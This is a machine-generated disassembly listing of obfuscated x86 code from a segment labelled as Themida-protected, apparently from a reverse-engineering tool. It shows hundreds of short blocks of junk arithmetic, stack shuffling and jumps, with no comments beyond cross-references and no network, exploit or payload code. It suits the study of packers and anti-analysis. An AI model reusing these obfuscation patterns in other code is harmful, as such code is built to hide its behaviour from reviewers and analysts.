; ---------------------------------------------------------------------------


loc_59DAC7:				; CODE XREF: Themida_:0059992Dj
		add	eax, 12D278Ch
		inc	eax
		inc	eax
		add	eax, 2D3E161Ch
		sub	ecx, eax
		pop	eax
		push	ebp
		push	edx
		mov	edx, 64771022h
		mov	ebp, 51676D74h
		xor	ebp, edx
		pop	edx
		not	ebp
		not	ebp
		add	ebp, 71FEE2Fh
		xor	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 0ECBAD71Ah
		add	ecx, 531217FAh
		jmp	loc_5967B8
; ---------------------------------------------------------------------------


loc_59DB03:				; CODE XREF: Themida_:00598281j
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], ebx
		push	23F0381Ah
		jmp	loc_593359
; ---------------------------------------------------------------------------


loc_59DB1D:				; CODE XREF: Themida_:0059A9F7j
		or	ebx, 60121298h
		jmp	loc_598F35
; ---------------------------------------------------------------------------


loc_59DB28:				; CODE XREF: Themida_:005A0B23j
		pop	ebx
		jmp	loc_59D034
; ---------------------------------------------------------------------------


loc_59DB2E:				; CODE XREF: Themida_:0059A907j
		sub	[esp+8], eax
		pop	eax
		pop	esi
		jmp	loc_5A21C6
; ---------------------------------------------------------------------------


loc_59DB39:				; CODE XREF: Themida_:0059B8EDj
		xor	edi, 0F5109CFh
		push	edx
		push	ebp
		jmp	loc_59734E
; ---------------------------------------------------------------------------


loc_59DB46:				; CODE XREF: Themida_:00598714j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59DB4B:				; CODE XREF: Themida_:005A26F9j
		mov	[esp], ebx
		push	edx
		mov	edx, 69724744h
		jmp	loc_59F7B0
; ---------------------------------------------------------------------------


loc_59DB59:				; CODE XREF: Themida_:00591792j
		pop	esi
		xor	esi, 37D827D7h
		jmp	loc_59C3D9
; ---------------------------------------------------------------------------


loc_59DB65:				; CODE XREF: Themida_:0059DD2Bj
		pop	edx
		mov	cl, ah
		pop	eax
		xor	bh, cl
		mov	ecx, [esp]
		add	esp, 4
		add	bh, 87h
		and	bh, 0F6h
		shr	bh, 7
		jmp	loc_59FFDA
; ---------------------------------------------------------------------------


loc_59DB7F:				; CODE XREF: Themida_:00598DBAj
		sub	ebx, 44FFFCh
		jmp	loc_59D51F
; ---------------------------------------------------------------------------


loc_59DB8A:				; CODE XREF: Themida_:0059840Bj
		and	esi, 5B4472B7h
		sub	esi, 0FF69D113h
		sub	ebx, esi
		pop	esi
		sub	ebx, 2E7E2B71h
		add	ebx, 5C2B0118h
		add	ebx, edi
		sub	ebx, 5C2B0118h
		add	ebx, 2E7E2B71h
		add	ebx, 599A4123h
		sub	ebx, 18D94C21h
		jmp	loc_5911BA
; ---------------------------------------------------------------------------


loc_59DBC4:				; CODE XREF: Themida_:005A469Fj
		push	small 62B4h
		mov	[esp], di
		push	small 75A2h
		mov	[esp], dx
		mov	di, [esp]
		jmp	loc_592B36
; ---------------------------------------------------------------------------


loc_59DBDD:				; CODE XREF: Themida_:00597880j
		add	esi, 17A504B3h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_590387
; ---------------------------------------------------------------------------


loc_59DBEF:				; CODE XREF: Themida_:00594471j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59DBF4:				; CODE XREF: Themida_:005909CFj
		mov	[esp], ecx
		mov	ecx, 13EB171Fh
		push	3A7Bh
		jmp	loc_5964D5
; ---------------------------------------------------------------------------


loc_59DC06:				; CODE XREF: Themida_:00592CCCj
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59DC0B:				; CODE XREF: Themida_:0059A752j
		mov	ax, [esp]
		push	4A75h
		mov	[esp], ebp
		push	1E06h
		mov	[esp], esp
		push	edi
		push	ebx
		mov	ebx, 4
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_599401
; ---------------------------------------------------------------------------


loc_59DC33:				; CODE XREF: Themida_:00593505j
		mov	edx, 4F8438E8h
		mov	ecx, edx
		pop	edx
		and	ecx, 6DDE09FEh
		or	ecx, 540B59F2h
		inc	ecx
		sub	ecx, 5D8F59F7h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_59D40B
; ---------------------------------------------------------------------------


loc_59DC5B:				; CODE XREF: Themida_:0059C3F0j
		mov	[esp], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_59EC10
; ---------------------------------------------------------------------------


loc_59DC85:				; CODE XREF: Themida_:005A1744j
		mov	eax, 6FD60D4Ah
		shl	eax, 4
		not	eax
		add	eax, 3FF24822h
		sub	eax, 0CD6A914Eh
		add	ebp, eax
		pop	eax
		jmp	loc_597A8A
; ---------------------------------------------------------------------------


loc_59DCA1:				; CODE XREF: Themida_:00594D6Ej
		xor	esi, 0F75AB1C6h
		jmp	loc_59BEBE
; ---------------------------------------------------------------------------


loc_59DCAC:				; CODE XREF: Themida_:005A248Dj
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_596DA2
; ---------------------------------------------------------------------------


loc_59DCB9:				; CODE XREF: Themida_:00594C4Dj
		mov	esp, [esp]
		imul	cx
		push	ecx
		jmp	loc_5970CF
; ---------------------------------------------------------------------------


loc_59DCC5:				; CODE XREF: Themida_:005A2F71j
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5A1C56
; ---------------------------------------------------------------------------


loc_59DCDE:				; CODE XREF: Themida_:0059540Dj
		mov	ebx, 79C00864h
		add	ebx, 863FF7A0h
		jmp	loc_59BB20
; ---------------------------------------------------------------------------


loc_59DCEE:				; CODE XREF: Themida_:0059AE4Ej
		pop	ecx
		push	eax
		xor	dword ptr [esp], 30D70D9Eh
		mov	edx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_59CCFF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	13D7h
		jmp	loc_59A096
; ---------------------------------------------------------------------------


loc_59DD14:				; CODE XREF: Themida_:005A0E6Aj
		not	dh
		dec	dh
		add	dh, 3Bh
		jmp	loc_596036
; ---------------------------------------------------------------------------


loc_59DD20:				; CODE XREF: Themida_:005922ABj
		not	dl
		inc	dl
		dec	dl
		add	dl, 0D4h
		add	ah, dl
		jmp	loc_59DB65
; ---------------------------------------------------------------------------


loc_59DD30:				; CODE XREF: Themida_:005A4BE4j
		xor	esi, 7FBF7FAEh
		push	esi
		pop	ecx
		pop	esi
		push	ecx
		jmp	loc_59D343
; ---------------------------------------------------------------------------


loc_59DD3F:				; CODE XREF: Themida_:0059926Bj
		shr	edx, 7
		sub	edx, 786323D8h
		jmp	loc_595937
; ---------------------------------------------------------------------------


loc_59DD4D:				; CODE XREF: Themida_:00595C8Cj
		push	ebx
		mov	ebx, 61921C71h
		push	esi
		mov	esi, 27AE4C2Dh
		jmp	loc_59ADDD
; ---------------------------------------------------------------------------


loc_59DD5E:				; CODE XREF: Themida_:0059B4EFj
		add	bl, 0C9h
		xor	dh, bl
		pop	ebx
		sub	esp, 2
		mov	[esp], bx
		jmp	loc_59F3C8
; ---------------------------------------------------------------------------


loc_59DD70:				; CODE XREF: Themida_:00594E06j
		xor	eax, 69D35E05h
		dec	eax
		and	eax, 4D5B5AF1h
		add	eax, 0B3E4A5D3h
		add	esi, eax
		pop	eax
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 28D44CE8h
		shl	edi, 6
		push	3Dh
		mov	[esp], eax
		push	ecx
		push	eax
		jmp	loc_593476
; ---------------------------------------------------------------------------


loc_59DDAD:				; CODE XREF: Themida_:005A0806j
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59DDB2:				; CODE XREF: Themida_:00595A2Ej
		xchg	ah, dl
		xchg	cl, dl
		jmp	loc_59403C
; ---------------------------------------------------------------------------


loc_59DDBB:				; CODE XREF: Themida_:00593A4Cj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_59ABD7
; ---------------------------------------------------------------------------


loc_59DDC8:				; CODE XREF: Themida_:005A2F80j
		shr	ah, 2
		sub	ah, 2Fh
		xor	cl, ah
		pop	eax
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 72h
		jmp	loc_5A3627
; ---------------------------------------------------------------------------


loc_59DDE2:				; CODE XREF: Themida_:005A17D1j
		inc	ebp
		jmp	loc_5929F0
; ---------------------------------------------------------------------------


loc_59DDE8:				; CODE XREF: Themida_:005A44CEj
		mov	ecx, [esp]
		add	esp, 4
		sub	dword ptr [esp], 154015Fh
		sub	[esp], eax
		add	dword ptr [esp], 154015Fh
		sub	esp, 4
		jmp	loc_599E68
; ---------------------------------------------------------------------------


loc_59DE07:				; CODE XREF: Themida_:00592294j
		mov	dl, bl
		pop	ebx
		xor	dl, ah
		mov	eax, [esp]
		jmp	loc_595A33
; ---------------------------------------------------------------------------


loc_59DE14:				; CODE XREF: Themida_:00591311j
		push	ebp
		push	edx
		push	edi
		mov	edi, 533959FEh
		jmp	loc_596A4D
; ---------------------------------------------------------------------------


loc_59DE21:				; CODE XREF: Themida_:00598232j
		shl	ebp, 6
		jmp	loc_59C42D
; ---------------------------------------------------------------------------


loc_59DE29:				; CODE XREF: Themida_:005A0EEBj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_596EBC
; ---------------------------------------------------------------------------


loc_59DE3C:				; CODE XREF: Themida_:0059C5E8j
		sub	al, dl
		add	al, 81h
		mov	dx, [esp]
		add	esp, 2
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	ebx
		jmp	loc_5A3F9E
; ---------------------------------------------------------------------------


loc_59DE57:				; CODE XREF: Themida_:005A21C9j
		add	esp, 4
		jmp	loc_5A30D0
; ---------------------------------------------------------------------------
		push	514Eh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_59919B
; ---------------------------------------------------------------------------


loc_59DE73:				; CODE XREF: Themida_:0059E194j
		add	edi, 14BF23BFh
		add	edi, ebx
		push	eax
		mov	eax, 14BF23BFh
		sub	edi, eax
		pop	eax
		add	edi, 595675DAh
		pop	ebx
		push	ecx
		push	edx
		mov	edx, 71B73468h
		dec	edx
		dec	edx
		add	edx, 5E5A5BCDh
		neg	edx
		xor	edx, 2FEE6FC9h
		mov	ecx, edx
		pop	edx
		add	edi, ecx
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_590C7F
; ---------------------------------------------------------------------------


loc_59DEB0:				; CODE XREF: Themida_:00591923j
		pop	ecx
		sub	cl, 23h
		push	ebx
		push	eax
		mov	al, 52h
		mov	bh, al
		pop	eax
		add	bh, 0D7h
		sub	bh, 4
		jmp	loc_598524
; ---------------------------------------------------------------------------


loc_59DEC6:				; CODE XREF: Themida_:005A0F8Aj
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		mov	dl, 2Fh
		shl	dl, 3
		xor	dl, 3Bh
		jmp	loc_598C1E
; ---------------------------------------------------------------------------


loc_59DEDD:				; CODE XREF: Themida_:005A344Fj
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_59C182
; ---------------------------------------------------------------------------


loc_59DEE8:				; CODE XREF: Themida_:0059A57Dj
		mov	[esp], ebx
		jmp	loc_59CBF5
; ---------------------------------------------------------------------------


loc_59DEF0:				; CODE XREF: Themida_:005951E3j
		mov	eax, 15A766Ch
		sub	esi, eax
		pop	eax
		jmp	loc_595F45
; ---------------------------------------------------------------------------


loc_59DEFD:				; CODE XREF: Themida_:00599CDCj
		pop	ebx
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59DF0F:				; CODE XREF: Themida_:005938A6j
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5A3BC9
; ---------------------------------------------------------------------------


loc_59DF26:				; CODE XREF: Themida_:00590A3Fj
		mov	edi, [esp]
		jmp	loc_5A4980
; ---------------------------------------------------------------------------


loc_59DF2E:				; CODE XREF: Themida_:005A1FF1j
		add	esp, 4
		jmp	loc_5A05DF
; ---------------------------------------------------------------------------


loc_59DF36:				; CODE XREF: Themida_:00594429j
		pop	ebp
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_5921CF
; ---------------------------------------------------------------------------


loc_59DF42:				; CODE XREF: Themida_:005A00CCj
		and	eax, ebp
		pop	ebp
		inc	eax
		sub	eax, 0E0000861h
		sub	ecx, eax
		pop	eax
		push	7D3Eh
		mov	[esp], esi
		mov	esi, ecx
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	ecx, edx
		pop	edx
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], edx
		push	4480h
		mov	[esp], ebx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5A3E88
; ---------------------------------------------------------------------------


loc_59DF96:				; CODE XREF: Themida_:0059727Aj
		add	esp, 4
		jmp	loc_59D175
; ---------------------------------------------------------------------------


loc_59DFA1:				; CODE XREF: Themida_:0059C385j
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_598EB6
; ---------------------------------------------------------------------------


loc_59DFB6:				; CODE XREF: Themida_:0059E5D3j
		push	5D02h
		mov	[esp], edx
		jmp	loc_59299C
; ---------------------------------------------------------------------------


loc_59DFC3:				; CODE XREF: Themida_:0059630Dj
		pop	esi
		jmp	loc_5978C4
; ---------------------------------------------------------------------------


loc_59DFC9:				; CODE XREF: Themida_:0059C47Cj
		sub	edi, esi
		add	edi, 0E2F1E29h
		pop	esi
		or	edi, 22B75A7Bh
		dec	edi
		sub	edi, 0E784D32Bh
		sub	ebx, edi
		pop	edi
		not	ebx
		shl	ebx, 2
		shr	ebx, 8
		sub	esp, 4
		jmp	loc_592B05
; ---------------------------------------------------------------------------


loc_59DFF2:				; CODE XREF: Themida_:0059C65Ej
		and	ebx, 24859C0h
		or	ebx, 0FA03CC2h
		xor	ebx, 20AC71DCh
		or	ebx, 38E478D6h
		add	ebx, 3EB1BDF4h
		sub	edi, 315919EEh
		sub	edi, ebx
		add	edi, 315919EEh
		pop	ebx
		neg	edi
		shl	edi, 5
		jmp	loc_5A52FC
; ---------------------------------------------------------------------------


loc_59E029:				; CODE XREF: Themida_:00597D7Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 76310459h
		sub	edi, 6E8C2C77h
		or	edi, 620102B1h
		shr	edi, 5
		not	edi
		neg	edi
		push	eax
		mov	eax, 4BB4E2E4h
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		and	esi, edi
		jmp	loc_593429
; ---------------------------------------------------------------------------


loc_59E069:				; CODE XREF: Themida_:005943D3j
		mov	[esp], edi
		mov	edi, 166772A4h
		push	edx
		mov	edx, edi
		jmp	loc_59A4C8
; ---------------------------------------------------------------------------


loc_59E079:				; CODE XREF: Themida_:00590608j
		add	dh, cl
		jmp	loc_5939D7
; ---------------------------------------------------------------------------


loc_59E080:				; CODE XREF: Themida_:0059F903j
		mov	[esp], ecx
		mov	cl, 0A6h
		jmp	loc_5999ED
; ---------------------------------------------------------------------------


loc_59E08A:				; CODE XREF: Themida_:00598A6Aj
		pop	ecx
		sub	dword ptr [esp+4], 2B136B35h
		add	[esp+4], edx
		add	dword ptr [esp+4], 2B136B35h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59E0AE:				; CODE XREF: Themida_:005A3655j
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59E2E9
; ---------------------------------------------------------------------------


loc_59E0C2:				; CODE XREF: Themida_:005A3FE6j
		sub	esi, 22614264h
		add	esi, ecx
		add	esi, 22614264h
		pop	ecx
		jmp	loc_59A74E
; ---------------------------------------------------------------------------


loc_59E0D6:				; CODE XREF: Themida_:005A02C0j
		shr	edi, 6
		add	edi, 44DB3182h
		jmp	loc_5970AE
; ---------------------------------------------------------------------------


loc_59E0E4:				; CODE XREF: Themida_:0059FDF7j
		add	dword ptr [esp], 6761369Ch
		pop	ebp
		sub	ebp, 6761369Ch
		mov	ebx, [esp]
		push	esi
		jmp	loc_5A3B4C
; ---------------------------------------------------------------------------


loc_59E0FB:				; CODE XREF: Themida_:005A4F96j
		add	esi, 4
		push	esi
		jmp	loc_59447C
; ---------------------------------------------------------------------------


loc_59E107:				; CODE XREF: Themida_:0059B4DBj
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	3883h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esi
		push	4E9948AEh
		pop	esi
		jmp	loc_5A14FB
; ---------------------------------------------------------------------------


loc_59E132:				; CODE XREF: Themida_:0059FA35j
		add	bl, 75h
		pop	ecx
		sub	al, bl
		pop	ebx
		pop	ebx
		push	ebx
		jmp	loc_59A1CC
; ---------------------------------------------------------------------------


loc_59E140:				; CODE XREF: Themida_:0059A4BDj
		mov	[esp], eax
		push	ebp
		push	ecx
		jmp	loc_5A3EFE
; ---------------------------------------------------------------------------


loc_59E14A:				; CODE XREF: Themida_:0059AC33j
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 4
		jmp	loc_5977FF
; ---------------------------------------------------------------------------


loc_59E15D:				; CODE XREF: Themida_:005A0CADj
		mov	edx, esp
		jmp	loc_596D59
; ---------------------------------------------------------------------------


loc_59E164:				; CODE XREF: Themida_:00594A2Fj
		mov	ecx, 5F86873h
		xor	ebp, ecx
		pop	ecx
		add	ebp, 8372F2DDh
		sub	eax, 53223C59h
		jmp	loc_595A9A
; ---------------------------------------------------------------------------


loc_59E17C:				; CODE XREF: Themida_:0059284Aj
		shl	dl, 1
		neg	dl
		sub	dl, 3Ch
		xor	cl, dl
		push	dword ptr [esp]
		pop	edx
		jmp	loc_590A9F
; ---------------------------------------------------------------------------


loc_59E18E:				; CODE XREF: Themida_:005A4E88j
		sub	edi, 595675DAh
		jmp	loc_59DE73
; ---------------------------------------------------------------------------


loc_59E199:				; CODE XREF: Themida_:005A08D5j
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_593A27
; ---------------------------------------------------------------------------


loc_59E1A6:				; CODE XREF: Themida_:0059CAE3j
		push	ebx
		jmp	loc_5A2051
; ---------------------------------------------------------------------------


loc_59E1AC:				; CODE XREF: Themida_:00599375j
		add	ebp, edi
		add	ebp, 7A45758h
		pop	edi
		push	ebx
		push	edi
		mov	edi, 653D6715h
		shr	edi, 7
		and	edi, 9621CAh
		not	edi
		jmp	loc_593E0D
; ---------------------------------------------------------------------------


loc_59E1CC:				; CODE XREF: Themida_:00590A9Aj
		add	esi, 7EC82DE9h
		add	esi, ecx
		sub	esi, 7EC82DE9h
		mov	ecx, [esp]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5983EC
; ---------------------------------------------------------------------------


loc_59E1EE:				; CODE XREF: Themida_:005903D7j
		push	ecx
		push	ebx
		mov	bh, ah
		mov	cl, bh
		pop	ebx
		jmp	loc_59E31B
; ---------------------------------------------------------------------------


loc_59E1FA:				; CODE XREF: Themida_:005A3D91j
		xor	esi, 2A285E4Ah
		jmp	loc_59ECA2
; ---------------------------------------------------------------------------


loc_59E205:				; CODE XREF: Themida_:0059BFD6j
		mov	eax, 1B2D332Bh
		xor	eax, 41B64D7Bh
		or	eax, 19C87B52h
		sub	eax, 60B95ACAh
		sub	eax, 0D6B4ACE7h
		add	edx, eax
		pop	eax
		jmp	loc_5938F9
; ---------------------------------------------------------------------------


loc_59E226:				; CODE XREF: Themida_:005905D8j
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_5943B4
; ---------------------------------------------------------------------------


loc_59E22F:				; CODE XREF: Themida_:00590B64j
		xchg	edi, [esp]
		pop	esp
		push	5B5Dh
		mov	[esp], ebp
		jmp	loc_596324
; ---------------------------------------------------------------------------


loc_59E240:				; CODE XREF: Themida_:005A573Dj
		mov	[esp], eax
		jmp	loc_595C84
; ---------------------------------------------------------------------------


loc_59E248:				; CODE XREF: Themida_:005924B9j
		mov	[esp], ebx
		mov	ebx, 49B65AA4h
		not	ebx
		push	edx
		push	ebx
		mov	ebx, 6743407h
		mov	edx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_59A7AE
; ---------------------------------------------------------------------------


loc_59E26A:				; CODE XREF: Themida_:005A1AE8j
		mov	ebp, esp
		push	ebx
		mov	ebx, 40D90A74h
		shl	ebx, 4
		jmp	loc_594940
; ---------------------------------------------------------------------------


loc_59E27A:				; CODE XREF: Themida_:00591117j
		add	ah, 12h
		add	dl, ah
		jmp	loc_5A1348
; ---------------------------------------------------------------------------


loc_59E284:				; CODE XREF: Themida_:005961A8j
		sub	esi, 7CA5606Ch
		jmp	loc_596F27
; ---------------------------------------------------------------------------


loc_59E28F:				; CODE XREF: Themida_:005993D7j
		xor	ebx, ebp
		pop	ebp
		and	edi, ebx
		pop	ebx
		jmp	loc_59F3ED
; ---------------------------------------------------------------------------


loc_59E29A:				; CODE XREF: Themida_:00596C5Cj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_59411C
; ---------------------------------------------------------------------------


loc_59E2AB:				; CODE XREF: Themida_:005A2482j
		xor	ecx, 4D812C7Dh
		add	ecx, 646CEDEEh
		sub	edx, 5D330264h
		jmp	loc_5962CC
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_599962
; ---------------------------------------------------------------------------


loc_59E2E0:				; CODE XREF: Themida_:0059935Cj
		mov	al, 2Dh
		not	al
		jmp	loc_5A0D61
; ---------------------------------------------------------------------------


loc_59E2E9:				; CODE XREF: Themida_:0059E0BDj
		pop	edi
		not	eax
		add	eax, 1
		not	eax
		jmp	loc_5A1EB2
; ---------------------------------------------------------------------------


loc_59E2F8:				; CODE XREF: Themida_:0059C6D2j
		push	4E3C5E5Bh
		pop	edx
		inc	edx
		push	ebx
		mov	ebx, 55287B23h
		xor	ebx, 24AF025Eh
		jmp	loc_5A0377
; ---------------------------------------------------------------------------


loc_59E310:				; CODE XREF: Themida_:005904D1j
		or	ebx, 6711785Fh
		jmp	loc_5971D8
; ---------------------------------------------------------------------------


loc_59E31B:				; CODE XREF: Themida_:0059E1F5j
		mov	bl, cl
		jmp	loc_598E9E
; ---------------------------------------------------------------------------


loc_59E322:				; CODE XREF: Themida_:005980E6j
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5A200A
; ---------------------------------------------------------------------------


loc_59E338:				; CODE XREF: Themida_:005A1B4Ej
		xchg	ebp, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_5902C1
; ---------------------------------------------------------------------------


loc_59E349:				; CODE XREF: Themida_:00594754j
		add	bl, 5Ah
		sub	bl, 0C1h
		mov	ecx, [esp]
		add	esp, 4
		sub	bl, al
		sub	bl, 0A1h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		mov	eax, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		jmp	loc_59E6D0
; ---------------------------------------------------------------------------


loc_59E370:				; CODE XREF: Themida_:00592A57j
		push	3FF5h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	[esp+4], ebx
		pop	ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5A411A
; ---------------------------------------------------------------------------


loc_59E398:				; CODE XREF: Themida_:0059EDCEj
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_59FDBB
; ---------------------------------------------------------------------------


loc_59E3A6:				; CODE XREF: Themida_:005A0CC3j
		neg	eax
		not	eax
		sub	eax, 0A613290h
		sub	eax, 687A7390h
		add	eax, 10E203CBh
		xor	ebp, eax
		jmp	loc_591D3E
; ---------------------------------------------------------------------------


loc_59E3C0:				; CODE XREF: Themida_:0059D815j
		push	ebp
		push	esp
		jmp	loc_5A14C9
; ---------------------------------------------------------------------------


loc_59E3C7:				; CODE XREF: Themida_:0059ECD3j
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5A2378
; ---------------------------------------------------------------------------


loc_59E3DD:				; CODE XREF: Themida_:005987E1j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_59B385
; ---------------------------------------------------------------------------


loc_59E3F4:				; CODE XREF: Themida_:005944ADj
		sub	esp, 4
		mov	[esp], eax
		push	7F38h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5934CB
; ---------------------------------------------------------------------------


loc_59E40C:				; CODE XREF: Themida_:005986C2j
		or	ebp, 0F592D5Ah
		jmp	loc_5983D4
; ---------------------------------------------------------------------------


loc_59E417:				; CODE XREF: Themida_:005952A6j
		pop	edx
		xor	esi, [esp]
		jmp	loc_5931AB
; ---------------------------------------------------------------------------


loc_59E420:				; CODE XREF: Themida_:005981BFj
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5909A1
; ---------------------------------------------------------------------------


loc_59E42A:				; CODE XREF: Themida_:0059FB28j
		sub	ebx, 8857C50Ch
		add	ebp, 785B560Dh
		add	ebp, ebx
		push	edi
		push	785B560Dh
		pop	edi
		sub	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebx
		push	6294h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_5996E5
; ---------------------------------------------------------------------------


loc_59E460:				; CODE XREF: Themida_:00590F23j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_59C766
; ---------------------------------------------------------------------------


loc_59E46C:				; CODE XREF: Themida_:0059A6C7j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59E704
; ---------------------------------------------------------------------------


loc_59E477:				; CODE XREF: Themida_:0059A228j
		push	eax
		jmp	loc_5A48FE
; ---------------------------------------------------------------------------


loc_59E47D:				; CODE XREF: Themida_:00594CAFj
		mov	edi, 1DA864ECh
		mov	ebp, 90C4B009h
		jmp	loc_595412
; ---------------------------------------------------------------------------


loc_59E48C:				; CODE XREF: Themida_:00593145j
		push	edi
		mov	edi, 17CC013Eh
		jmp	loc_59A146
; ---------------------------------------------------------------------------


loc_59E497:				; CODE XREF: Themida_:005A24EDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59872F
; ---------------------------------------------------------------------------


loc_59E4A5:				; CODE XREF: Themida_:005A2BBEj
		not	ebp
		neg	ebp
		add	ebp, 2A445D2Ah
		xor	ebp, 54D4991Ch
		mov	esi, ebp
		pop	ebp
		not	esi
		shr	esi, 8
		jmp	loc_596E13
; ---------------------------------------------------------------------------


loc_59E4C2:				; CODE XREF: Themida_:005A3A59j
		mov	edi, 0C3341CAh
		jmp	loc_5990C9
; ---------------------------------------------------------------------------


loc_59E4CC:				; CODE XREF: Themida_:0059B5A5j
		push	small 5A2Dh
		pop	si
		and	si, 70Ah
		jmp	loc_59E798
; ---------------------------------------------------------------------------


loc_59E4DC:				; CODE XREF: Themida_:005A2960j
		add	esp, 4
		shl	edx, 5
		jmp	loc_59D615
; ---------------------------------------------------------------------------


loc_59E4E7:				; CODE XREF: Themida_:0059D414j
		pop	esp
		mov	[esp], esp
		push	eax
		mov	eax, 4
		add	[esp+4], eax
		pop	eax
		mov	edx, [esp]
		push	2642h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	2A72h
		mov	[esp], ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5A23E4
; ---------------------------------------------------------------------------


loc_59E524:				; CODE XREF: Themida_:00597C15j
		mov	esi, 50E4616Ah
		shr	esi, 7
		push	eax
		mov	eax, 0FF5E3742h
		add	esi, eax
		pop	eax
		jmp	loc_59954E
; ---------------------------------------------------------------------------


loc_59E53A:				; CODE XREF: Themida_:005A2A31j
		push	ecx
		mov	ecx, 56AB72FAh
		jmp	loc_5976D4
; ---------------------------------------------------------------------------


loc_59E545:				; CODE XREF: Themida_:0059EAB9j
		pop	ebp
		push	4AAFh
		mov	[esp], edx
		jmp	loc_59C46C
; ---------------------------------------------------------------------------


loc_59E553:				; CODE XREF: Themida_:005A0FB9j
		and	ebp, 3A8F28E2h
		sub	ebp, 9616D9h
		jmp	loc_595180
; ---------------------------------------------------------------------------


loc_59E564:				; CODE XREF: Themida_:005906AFj
		mov	[esp], esi
		push	esp
		jmp	loc_59E807
; ---------------------------------------------------------------------------


loc_59E56D:				; CODE XREF: Themida_:005A2987j
		mov	ecx, 4AC101E3h
		mov	esi, ecx
		pop	ecx
		sub	esi, 5F15CE2h
		jmp	loc_59841B
